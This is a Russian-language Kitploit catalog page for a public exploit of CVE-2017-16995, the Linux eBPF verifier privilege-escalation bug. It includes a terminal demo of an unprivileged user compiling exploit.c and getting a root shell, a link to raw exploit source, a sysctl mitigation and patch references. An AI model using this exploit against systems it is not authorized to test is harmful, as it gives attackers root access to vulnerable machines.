Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-16995 — Версия ядра Linux 4.14 - 4.4 (Ubuntu && Debian) | Kitploit
Инструменты/GitHubGitHub/c0dak/cve-2017-16995
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация Бинарных Файлов
GitHubc0dak/cve-2017-16995

CVE-2017-16995

Версия ядра Linux 4.14 - 4.4 (Ubuntu && Debian)

Репозиторий
158 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Linux Kernel версии 4.14 - 4.4 (Ubuntu && Debian)

Описание

Уязвимость существует в системном вызове eBPF bpf(2) ядра Linux: когда пользователь предоставляет вредоносную программу BPF, модуль верификатора eBPF допускает вычислительную ошибку, что приводит к произвольному чтению и записи памяти. Непривилегированный пользователь может использовать эту уязвимость для повышения привилегий. Уязвимость обнаружена Google Project Zero.

Идентификатор уязвимости

CVE-2017-16995

Уровень угрозы

Высокий

Демонстрация

root@kitploit:~
bearcat@ubuntu:/opt$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.4 LTS
Release:        16.04
Codename:       xenial
bearcat@ubuntu:/opt$ uname -a
Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
bearcat@ubuntu:/opt$ id
uid=1000(bearcat) gid=1000(bearcat) groups=1000(bearcat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
bearcat@ubuntu:/opt$ ls
exploit.c
bearcat@ubuntu:/opt$ gcc exploit.c -o exploit
bearcat@ubuntu:/opt$ ./exploit
task_struct = ffff88003a0db800
uidptr = ffff8800374b76c4
spawning root shell
root@ubuntu:/opt# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(bearcat)
root@ubuntu:/opt#

Рекомендации по исправлению

  1. На данный момент нет четкого патча. Пользователям рекомендуется после оценки рисков ограничить использование системного вызова bpf(2) обычными пользователями путем изменения параметров ядра:

Установите параметр «kernel.unprivileged_bpf_disabled = 1», чтобы предотвратить такое повышение привилегий, ограничив доступ к системному вызову bpf(2).

 root@Ubuntu# echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled

  1. Соответствующий патч кода https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f

Связанные ссылки

http://cyseclabs.com/exploits/upstream44.c

https://security-tracker.debian.org/tracker/CVE-2017-16995

https://www.securityfocus.com/bid/102288

https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor?utmcampaign=General%20website&utmcontent=67375488&utmmedium=social&utmsource=twitter

https://bugs.chromium.org/p/project-zero/issues/detail?id=1454&desc=

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f

https://cert.360.cn/warning/detail?id=119f849891f2a1b5deef65f99923ab5a

https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f

https://github.com/jas502n/Ubuntu-0day

Скачать инструмент